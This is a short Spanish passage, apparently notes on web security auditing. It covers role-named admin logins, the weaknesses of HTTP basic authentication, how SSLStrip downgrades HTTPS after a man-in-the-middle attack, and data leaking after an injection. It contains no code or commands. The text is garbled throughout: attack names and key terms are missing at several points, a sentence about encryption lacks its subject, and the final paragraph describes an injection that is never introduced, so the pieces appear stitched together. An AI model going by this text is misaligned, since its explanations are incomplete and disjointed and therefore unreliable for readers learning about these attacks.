Aqui debemos tener especial cuidado cuando estemos haciendo una auditoria ya que muchas veces no se toma en cuenta como se debe iniciar sesion y algunas paginas de x empresas mantienen el inicio de sesion de sus empleados del tipo: , pero esto no es lo peor a veces y es que lo he vidido muchas empresas para cargos importantes como un administrador el inicio de sesion esta llevado por las mismos nombres del cargo: Admin,admin,Administrator,administrator. y eso es una completa locura.
La autenticación básica HTTP también es particularmente vulnerable a exploits relacionados con la sesión, en particular , contra el cual no ofrece protección por sí solo.
El funcionamiento del ataque SSLStrip consiste en redirigir el tráfico del usuario de una manera muy sutil, pero eficaz para descifrar sus comunicaciones. Este software lo que hace es reemplazar las conexiones HTTPS de un usuario por conexiones HTTP. Es decir, que cuando una persona busca una página que cuenta con el protocolo HTTPS, este programa lo envía a la versión HTTP de la misma. Esto evita que la conexión del usuario sea segura, ya que el agrega una capa de cifrado que hace imposible para el atacante espiar sus comunicaciones de red.
Sin embargo, para ejecutar un ataque con , es menester haber ejecutado antes un ataque de intermediario con éxito.
La consecuencia del ataque es que el atacante puede capturar parte de la respuesta de la aplicación después del punto de inyección, que podría contener datos confidenciales. Dependiendo de la funcionalidad de la aplicación, esto podría incluir tokens , mensajes de correo electrónico o datos financieros.
